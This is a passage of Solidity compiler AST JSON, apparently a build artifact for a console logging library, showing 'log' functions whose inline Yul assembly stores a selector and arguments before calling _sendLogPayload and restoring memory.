1:22","nodeType":"YulFunctionCall","src":"122277:11:22"},"variableNames":[{"name":"m2","nativeSrc":"122271:2:22","nodeType":"YulIdentifier","src":"122271:2:22"}]},{"nativeSrc":"122301:17:22","nodeType":"YulAssignment","src":"122301:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"122313:4:22","nodeType":"YulLiteral","src":"122313:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"122307:5:22","nodeType":"YulIdentifier","src":"122307:5:22"},"nativeSrc":"122307:11:22","nodeType":"YulFunctionCall","src":"122307:11:22"},"variableNames":[{"name":"m3","nativeSrc":"122301:2:22","nodeType":"YulIdentifier","src":"122301:2:22"}]},{"nativeSrc":"122331:17:22","nodeType":"YulAssignment","src":"122331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"122343:4:22","nodeType":"YulLiteral","src":"122343:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"122337:5:22","nodeType":"YulIdentifier","src":"122337:5:22"},"nativeSrc":"122337:11:22","nodeType":"YulFunctionCall","src":"122337:11:22"},"variableNames":[{"name":"m4","nativeSrc":"122331:2:22","nodeType":"YulIdentifier","src":"122331:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122432:4:22","nodeType":"YulLiteral","src":"122432:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"122438:10:22","nodeType":"YulLiteral","src":"122438:10:22","type":"","value":"0x22f6b999"}],"functionName":{"name":"mstore","nativeSrc":"122425:6:22","nodeType":"YulIdentifier","src":"122425:6:22"},"nativeSrc":"122425:24:22","nodeType":"YulFunctionCall","src":"122425:24:22"},"nativeSrc":"122425:24:22","nodeType":"YulExpressionStatement","src":"122425:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122469:4:22","nodeType":"YulLiteral","src":"122469:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"122475:2:22","nodeType":"YulIdentifier","src":"122475:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122462:6:22","nodeType":"YulIdentifier","src":"122462:6:22"},"nativeSrc":"122462:16:22","nodeType":"YulFunctionCall","src":"122462:16:22"},"nativeSrc":"122462:16:22","nodeType":"YulExpressionStatement","src":"122462:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122498:4:22","nodeType":"YulLiteral","src":"122498:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"122504:2:22","nodeType":"YulIdentifier","src":"122504:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122491:6:22","nodeType":"YulIdentifier","src":"122491:6:22"},"nativeSrc":"122491:16:22","nodeType":"YulFunctionCall","src":"122491:16:22"},"nativeSrc":"122491:16:22","nodeType":"YulExpressionStatement","src":"122491:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122527:4:22","nodeType":"YulLiteral","src":"122527:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"122533:2:22","nodeType":"YulIdentifier","src":"122533:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122520:6:22","nodeType":"YulIdentifier","src":"122520:6:22"},"nativeSrc":"122520:16:22","nodeType":"YulFunctionCall","src":"122520:16:22"},"nativeSrc":"122520:16:22","nodeType":"YulExpressionStatement","src":"122520:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122556:4:22","nodeType":"YulLiteral","src":"122556:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"122562:2:22","nodeType":"YulIdentifier","src":"122562:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122549:6:22","nodeType":"YulIdentifier","src":"122549:6:22"},"nativeSrc":"122549:16:22","nodeType":"YulFunctionCall","src":"122549:16:22"},"nativeSrc":"122549:16:22","nodeType":"YulExpressionStatement","src":"122549:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37752,"isOffset":false,"isSlot":false,"src":"122211:2:22","valueSize":1},{"declaration":37755,"isOffset":false,"isSlot":false,"src":"122241:2:22","valueSize":1},{"declaration":37758,"isOffset":false,"isSlot":false,"src":"122271:2:22","valueSize":1},{"declaration":37761,"isOffset":false,"isSlot":false,"src":"122301:2:22","valueSize":1},{"declaration":37764,"isOffset":false,"isSlot":false,"src":"122331:2:22","valueSize":1},{"declaration":37742,"isOffset":false,"isSlot":false,"src":"122475:2:22","valueSize":1},{"declaration":37744,"isOffset":false,"isSlot":false,"src":"122504:2:22","valueSize":1},{"declaration":37746,"isOffset":false,"isSlot":false,"src":"122533:2:22","valueSize":1},{"declaration":37748,"isOffset":false,"isSlot":false,"src":"122562:2:22","valueSize":1}],"id":37766,"nodeType":"InlineAssembly","src":"122188:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"122600:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37769,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"122606:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37767,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"122584:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"122584:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37771,"nodeType":"ExpressionStatement","src":"122584:27:22"},{"AST":{"nativeSrc":"122630:156:22","nodeType":"YulBlock","src":"122630:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"122651:4:22","nodeType":"YulLiteral","src":"122651:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"122657:2:22","nodeType":"YulIdentifier","src":"122657:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122644:6:22","nodeType":"YulIdentifier","src":"122644:6:22"},"nativeSrc":"122644:16:22","nodeType":"YulFunctionCall","src":"122644:16:22"},"nativeSrc":"122644:16:22","nodeType":"YulExpressionStatement","src":"122644:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122680:4:22","nodeType":"YulLiteral","src":"122680:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"122686:2:22","nodeType":"YulIdentifier","src":"122686:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122673:6:22","nodeType":"YulIdentifier","src":"122673:6:22"},"nativeSrc":"122673:16:22","nodeType":"YulFunctionCall","src":"122673:16:22"},"nativeSrc":"122673:16:22","nodeType":"YulExpressionStatement","src":"122673:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122709:4:22","nodeType":"YulLiteral","src":"122709:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"122715:2:22","nodeType":"YulIdentifier","src":"122715:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122702:6:22","nodeType":"YulIdentifier","src":"122702:6:22"},"nativeSrc":"122702:16:22","nodeType":"YulFunctionCall","src":"122702:16:22"},"nativeSrc":"122702:16:22","nodeType":"YulExpressionStatement","src":"122702:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122738:4:22","nodeType":"YulLiteral","src":"122738:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"122744:2:22","nodeType":"YulIdentifier","src":"122744:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122731:6:22","nodeType":"YulIdentifier","src":"122731:6:22"},"nativeSrc":"122731:16:22","nodeType":"YulFunctionCall","src":"122731:16:22"},"nativeSrc":"122731:16:22","nodeType":"YulExpressionStatement","src":"122731:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"122767:4:22","nodeType":"YulLiteral","src":"122767:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"122773:2:22","nodeType":"YulIdentifier","src":"122773:2:22"}],"functionName":{"name":"mstore","nativeSrc":"122760:6:22","nodeType":"YulIdentifier","src":"122760:6:22"},"nativeSrc":"122760:16:22","nodeType":"YulFunctionCall","src":"122760:16:22"},"nativeSrc":"122760:16:22","nodeType":"YulExpressionStatement","src":"122760:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37752,"isOffset":false,"isSlot":false,"src":"122657:2:22","valueSize":1},{"declaration":37755,"isOffset":false,"isSlot":false,"src":"122686:2:22","valueSize":1},{"declaration":37758,"isOffset":false,"isSlot":false,"src":"122715:2:22","valueSize":1},{"declaration":37761,"isOffset":false,"isSlot":false,"src":"122744:2:22","valueSize":1},{"declaration":37764,"isOffset":false,"isSlot":false,"src":"122773:2:22","valueSize":1}],"id":37772,"nodeType":"InlineAssembly","src":"122621:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"122015:3:22","parameters":{"id":37749,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37742,"mutability":"mutable","name":"p0","nameLocation":"122027:2:22","nodeType":"VariableDeclaration","scope":37774,"src":"122019:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37741,"name":"address","nodeType":"ElementaryTypeName","src":"122019:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37744,"mutability":"mutable","name":"p1","nameLocation":"122039:2:22","nodeType":"VariableDeclaration","scope":37774,"src":"122031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37743,"name":"uint256","nodeType":"ElementaryTypeName","src":"122031:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37746,"mutability":"mutable","name":"p2","nameLocation":"122048:2:22","nodeType":"VariableDeclaration","scope":37774,"src":"122043:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37745,"name":"bool","nodeType":"ElementaryTypeName","src":"122043:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37748,"mutability":"mutable","name":"p3","nameLocation":"122060:2:22","nodeType":"VariableDeclaration","scope":37774,"src":"122052:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37747,"name":"uint256","nodeType":"ElementaryTypeName","src":"122052:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"122018:45:22"},"returnParameters":{"id":37750,"nodeType":"ParameterList","parameters":[],"src":"122078:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37814,"nodeType":"FunctionDefinition","src":"122798:1334:22","nodes":[],"body":{"id":37813,"nodeType":"Block","src":"122870:1262:22","nodes":[],"statements":[{"assignments":[37786],"declarations":[{"constant":false,"id":37786,"mutability":"mutable","name":"m0","nameLocation":"122888:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"122880:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37785,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122880:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37787,"nodeType":"VariableDeclarationStatement","src":"122880:10:22"},{"assignments":[37789],"declarations":[{"constant":false,"id":37789,"mutability":"mutable","name":"m1","nameLocation":"122908:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"122900:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37788,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122900:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37790,"nodeType":"VariableDeclarationStatement","src":"122900:10:22"},{"assignments":[37792],"declarations":[{"constant":false,"id":37792,"mutability":"mutable","name":"m2","nameLocation":"122928:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"122920:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37791,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122920:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37793,"nodeType":"VariableDeclarationStatement","src":"122920:10:22"},{"assignments":[37795],"declarations":[{"constant":false,"id":37795,"mutability":"mutable","name":"m3","nameLocation":"122948:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"122940:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37794,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122940:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37796,"nodeType":"VariableDeclarationStatement","src":"122940:10:22"},{"assignments":[37798],"declarations":[{"constant":false,"id":37798,"mutability":"mutable","name":"m4","nameLocation":"122968:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"122960:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37797,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122960:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37799,"nodeType":"VariableDeclarationStatement","src":"122960:10:22"},{"assignments":[37801],"declarations":[{"constant":false,"id":37801,"mutability":"mutable","name":"m5","nameLocation":"122988:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"122980:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37800,"name":"bytes32","nodeType":"ElementaryTypeName","src":"122980:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37802,"nodeType":"VariableDeclarationStatement","src":"122980:10:22"},{"assignments":[37804],"declarations":[{"constant":false,"id":37804,"mutability":"mutable","name":"m6","nameLocation":"123008:2:22","nodeType":"VariableDeclaration","scope":37813,"src":"123000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37803,"name":"bytes32","nodeType":"ElementaryTypeName","src":"123000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37805,"nodeType":"VariableDeclarationStatement","src":"123000:10:22"},{"AST":{"nativeSrc":"123029:828:22","nodeType":"YulBlock","src":"123029:828:22","statements":[{"body":{"nativeSrc":"123072:313:22","nodeType":"YulBlock","src":"123072:313:22","statements":[{"nativeSrc":"123090:15:22","nodeType":"YulVariableDeclaration","src":"123090:15:22","value":{"kind":"number","nativeSrc":"123104:1:22","nodeType":"YulLiteral","src":"123104:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"123094:6:22","nodeType":"YulTypedName","src":"123094:6:22","type":""}]},{"body":{"nativeSrc":"123175:40:22","nodeType":"YulBlock","src":"123175:40:22","statements":[{"body":{"nativeSrc":"123204:9:22","nodeType":"YulBlock","src":"123204:9:22","statements":[{"nativeSrc":"123206:5:22","nodeType":"YulBreak","src":"123206:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"123192:6:22","nodeType":"YulIdentifier","src":"123192:6:22"},{"name":"w","nativeSrc":"123200:1:22","nodeType":"YulIdentifier","src":"123200:1:22"}],"functionName":{"name":"byte","nativeSrc":"123187:4:22","nodeType":"YulIdentifier","src":"123187:4:22"},"nativeSrc":"123187:15:22","nodeType":"YulFunctionCall","src":"123187:15:22"}],"functionName":{"name":"iszero","nativeSrc":"123180:6:22","nodeType":"YulIdentifier","src":"123180:6:22"},"nativeSrc":"123180:23:22","nodeType":"YulFunctionCall","src":"123180:23:22"},"nativeSrc":"123177:36:22","nodeType":"YulIf","src":"123177:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"123132:6:22","nodeType":"YulIdentifier","src":"123132:6:22"},{"kind":"number","nativeSrc":"123140:4:22","nodeType":"YulLiteral","src":"123140:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"123129:2:22","nodeType":"YulIdentifier","src":"123129:2:22"},"nativeSrc":"123129:16:22","nodeType":"YulFunctionCall","src":"123129:16:22"},"nativeSrc":"123122:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"123146:28:22","nodeType":"YulBlock","src":"123146:28:22","statements":[{"nativeSrc":"123148:24:22","nodeType":"YulAssignment","src":"123148:24:22","value":{"arguments":[{"name":"length","nativeSrc":"123162:6:22","nodeType":"YulIdentifier","src":"123162:6:22"},{"kind":"number","nativeSrc":"123170:1:22","nodeType":"YulLiteral","src":"123170:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"123158:3:22","nodeType":"YulIdentifier","src":"123158:3:22"},"nativeSrc":"123158:14:22","nodeType":"YulFunctionCall","src":"123158:14:22"},"variableNames":[{"name":"length","nativeSrc":"123148:6:22","nodeType":"YulIdentifier","src":"123148:6:22"}]}]},"pre":{"nativeSrc":"123126:2:22","nodeType":"YulBlock","src":"123126:2:22","statements":[]},"src":"123122:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"123239:3:22","nodeType":"YulIdentifier","src":"123239:3:22"},{"name":"length","nativeSrc":"123244:6:22","nodeType":"YulIdentifier","src":"123244:6:22"}],"functionName":{"name":"mstore","nativeSrc":"123232:6:22","nodeType":"YulIdentifier","src":"123232:6:22"},"nativeSrc":"123232:19:22","nodeType":"YulFunctionCall","src":"123232:19:22"},"nativeSrc":"123232:19:22","nodeType":"YulExpressionStatement","src":"123232:19:22"},{"nativeSrc":"123268:37:22","nodeType":"YulVariableDeclaration","src":"123268:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"123285:3:22","nodeType":"YulLiteral","src":"123285:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"123294:1:22","nodeType":"YulLiteral","src":"123294:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"123297:6:22","nodeType":"YulIdentifier","src":"123297:6:22"}],"functionName":{"name":"shl","nativeSrc":"123290:3:22","nodeType":"YulIdentifier","src":"123290:3:22"},"nativeSrc":"123290:14:22","nodeType":"YulFunctionCall","src":"123290:14:22"}],"functionName":{"name":"sub","nativeSrc":"123281:3:22","nodeType":"YulIdentifier","src":"123281:3:22"},"nativeSrc":"123281:24:22","nodeType":"YulFunctionCall","src":"123281:24:22"},"variables":[{"name":"shift","nativeSrc":"123272:5:22","nodeType":"YulTypedName","src":"123272:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"123333:3:22","nodeType":"YulIdentifier","src":"123333:3:22"},{"kind":"number","nativeSrc":"123338:4:22","nodeType":"YulLiteral","src":"123338:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"123329:3:22","nodeType":"YulIdentifier","src":"123329:3:22"},"nativeSrc":"123329:14:22","nodeType":"YulFunctionCall","src":"123329:14:22"},{"arguments":[{"name":"shift","nativeSrc":"123349:5:22","nodeType":"YulIdentifier","src":"123349:5:22"},{"arguments":[{"name":"shift","nativeSrc":"123360:5:22","nodeType":"YulIdentifier","src":"123360:5:22"},{"name":"w","nativeSrc":"123367:1:22","nodeType":"YulIdentifier","src":"123367:1:22"}],"functionName":{"name":"shr","nativeSrc":"123356:3:22","nodeType":"YulIdentifier","src":"123356:3:22"},"nativeSrc":"123356:13:22","nodeType":"YulFunctionCall","src":"123356:13:22"}],"functionName":{"name":"shl","nativeSrc":"123345:3:22","nodeType":"YulIdentifier","src":"123345:3:22"},"nativeSrc":"123345:25:22","nodeType":"YulFunctionCall","src":"123345:25:22"}],"functionName":{"name":"mstore","nativeSrc":"123322:6:22","nodeType":"YulIdentifier","src":"123322:6:22"},"nativeSrc":"123322:49:22","nodeType":"YulFunctionCall","src":"123322:49:22"},"nativeSrc":"123322:49:22","nodeType":"YulExpressionStatement","src":"123322:49:22"}]},"name":"writeString","nativeSrc":"123043:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"123064:3:22","nodeType":"YulTypedName","src":"123064:3:22","type":""},{"name":"w","nativeSrc":"123069:1:22","nodeType":"YulTypedName","src":"123069:1:22","type":""}],"src":"123043:342:22"},{"nativeSrc":"123398:17:22","nodeType":"YulAssignment","src":"123398:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123410:4:22","nodeType":"YulLiteral","src":"123410:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"123404:5:22","nodeType":"YulIdentifier","src":"123404:5:22"},"nativeSrc":"123404:11:22","nodeType":"YulFunctionCall","src":"123404:11:22"},"variableNames":[{"name":"m0","nativeSrc":"123398:2:22","nodeType":"YulIdentifier","src":"123398:2:22"}]},{"nativeSrc":"123428:17:22","nodeType":"YulAssignment","src":"123428:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123440:4:22","nodeType":"YulLiteral","src":"123440:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"123434:5:22","nodeType":"YulIdentifier","src":"123434:5:22"},"nativeSrc":"123434:11:22","nodeType":"YulFunctionCall","src":"123434:11:22"},"variableNames":[{"name":"m1","nativeSrc":"123428:2:22","nodeType":"YulIdentifier","src":"123428:2:22"}]},{"nativeSrc":"123458:17:22","nodeType":"YulAssignment","src":"123458:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123470:4:22","nodeType":"YulLiteral","src":"123470:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"123464:5:22","nodeType":"YulIdentifier","src":"123464:5:22"},"nativeSrc":"123464:11:22","nodeType":"YulFunctionCall","src":"123464:11:22"},"variableNames":[{"name":"m2","nativeSrc":"123458:2:22","nodeType":"YulIdentifier","src":"123458:2:22"}]},{"nativeSrc":"123488:17:22","nodeType":"YulAssignment","src":"123488:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123500:4:22","nodeType":"YulLiteral","src":"123500:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"123494:5:22","nodeType":"YulIdentifier","src":"123494:5:22"},"nativeSrc":"123494:11:22","nodeType":"YulFunctionCall","src":"123494:11:22"},"variableNames":[{"name":"m3","nativeSrc":"123488:2:22","nodeType":"YulIdentifier","src":"123488:2:22"}]},{"nativeSrc":"123518:17:22","nodeType":"YulAssignment","src":"123518:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123530:4:22","nodeType":"YulLiteral","src":"123530:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"123524:5:22","nodeType":"YulIdentifier","src":"123524:5:22"},"nativeSrc":"123524:11:22","nodeType":"YulFunctionCall","src":"123524:11:22"},"variableNames":[{"name":"m4","nativeSrc":"123518:2:22","nodeType":"YulIdentifier","src":"123518:2:22"}]},{"nativeSrc":"123548:17:22","nodeType":"YulAssignment","src":"123548:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123560:4:22","nodeType":"YulLiteral","src":"123560:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"123554:5:22","nodeType":"YulIdentifier","src":"123554:5:22"},"nativeSrc":"123554:11:22","nodeType":"YulFunctionCall","src":"123554:11:22"},"variableNames":[{"name":"m5","nativeSrc":"123548:2:22","nodeType":"YulIdentifier","src":"123548:2:22"}]},{"nativeSrc":"123578:17:22","nodeType":"YulAssignment","src":"123578:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"123590:4:22","nodeType":"YulLiteral","src":"123590:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"123584:5:22","nodeType":"YulIdentifier","src":"123584:5:22"},"nativeSrc":"123584:11:22","nodeType":"YulFunctionCall","src":"123584:11:22"},"variableNames":[{"name":"m6","nativeSrc":"123578:2:22","nodeType":"YulIdentifier","src":"123578:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123678:4:22","nodeType":"YulLiteral","src":"123678:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"123684:10:22","nodeType":"YulLiteral","src":"123684:10:22","type":"","value":"0xc5ad85f9"}],"functionName":{"name":"mstore","nativeSrc":"123671:6:22","nodeType":"YulIdentifier","src":"123671:6:22"},"nativeSrc":"123671:24:22","nodeType":"YulFunctionCall","src":"123671:24:22"},"nativeSrc":"123671:24:22","nodeType":"YulExpressionStatement","src":"123671:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123715:4:22","nodeType":"YulLiteral","src":"123715:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"123721:2:22","nodeType":"YulIdentifier","src":"123721:2:22"}],"functionName":{"name":"mstore","nativeSrc":"123708:6:22","nodeType":"YulIdentifier","src":"123708:6:22"},"nativeSrc":"123708:16:22","nodeType":"YulFunctionCall","src":"123708:16:22"},"nativeSrc":"123708:16:22","nodeType":"YulExpressionStatement","src":"123708:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123744:4:22","nodeType":"YulLiteral","src":"123744:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"123750:2:22","nodeType":"YulIdentifier","src":"123750:2:22"}],"functionName":{"name":"mstore","nativeSrc":"123737:6:22","nodeType":"YulIdentifier","src":"123737:6:22"},"nativeSrc":"123737:16:22","nodeType":"YulFunctionCall","src":"123737:16:22"},"nativeSrc":"123737:16:22","nodeType":"YulExpressionStatement","src":"123737:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123773:4:22","nodeType":"YulLiteral","src":"123773:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"123779:2:22","nodeType":"YulIdentifier","src":"123779:2:22"}],"functionName":{"name":"mstore","nativeSrc":"123766:6:22","nodeType":"YulIdentifier","src":"123766:6:22"},"nativeSrc":"123766:16:22","nodeType":"YulFunctionCall","src":"123766:16:22"},"nativeSrc":"123766:16:22","nodeType":"YulExpressionStatement","src":"123766:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123802:4:22","nodeType":"YulLiteral","src":"123802:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"123808:4:22","nodeType":"YulLiteral","src":"123808:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"123795:6:22","nodeType":"YulIdentifier","src":"123795:6:22"},"nativeSrc":"123795:18:22","nodeType":"YulFunctionCall","src":"123795:18:22"},"nativeSrc":"123795:18:22","nodeType":"YulExpressionStatement","src":"123795:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"123838:4:22","nodeType":"YulLiteral","src":"123838:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"123844:2:22","nodeType":"YulIdentifier","src":"123844:2:22"}],"functionName":{"name":"writeString","nativeSrc":"123826:11:22","nodeType":"YulIdentifier","src":"123826:11:22"},"nativeSrc":"123826:21:22","nodeType":"YulFunctionCall","src":"123826:21:22"},"nativeSrc":"123826:21:22","nodeType":"YulExpressionStatement","src":"123826:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37786,"isOffset":false,"isSlot":false,"src":"123398:2:22","valueSize":1},{"declaration":37789,"isOffset":false,"isSlot":false,"src":"123428:2:22","valueSize":1},{"declaration":37792,"isOffset":false,"isSlot":false,"src":"123458:2:22","valueSize":1},{"declaration":37795,"isOffset":false,"isSlot":false,"src":"123488:2:22","valueSize":1},{"declaration":37798,"isOffset":false,"isSlot":false,"src":"123518:2:22","valueSize":1},{"declaration":37801,"isOffset":false,"isSlot":false,"src":"123548:2:22","valueSize":1},{"declaration":37804,"isOffset":false,"isSlot":false,"src":"123578:2:22","valueSize":1},{"declaration":37776,"isOffset":false,"isSlot":false,"src":"123721:2:22","valueSize":1},{"declaration":37778,"isOffset":false,"isSlot":false,"src":"123750:2:22","valueSize":1},{"declaration":37780,"isOffset":false,"isSlot":false,"src":"123779:2:22","valueSize":1},{"declaration":37782,"isOffset":false,"isSlot":false,"src":"123844:2:22","valueSize":1}],"id":37806,"nodeType":"InlineAssembly","src":"123020:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37808,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"123882:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37809,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"123888:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 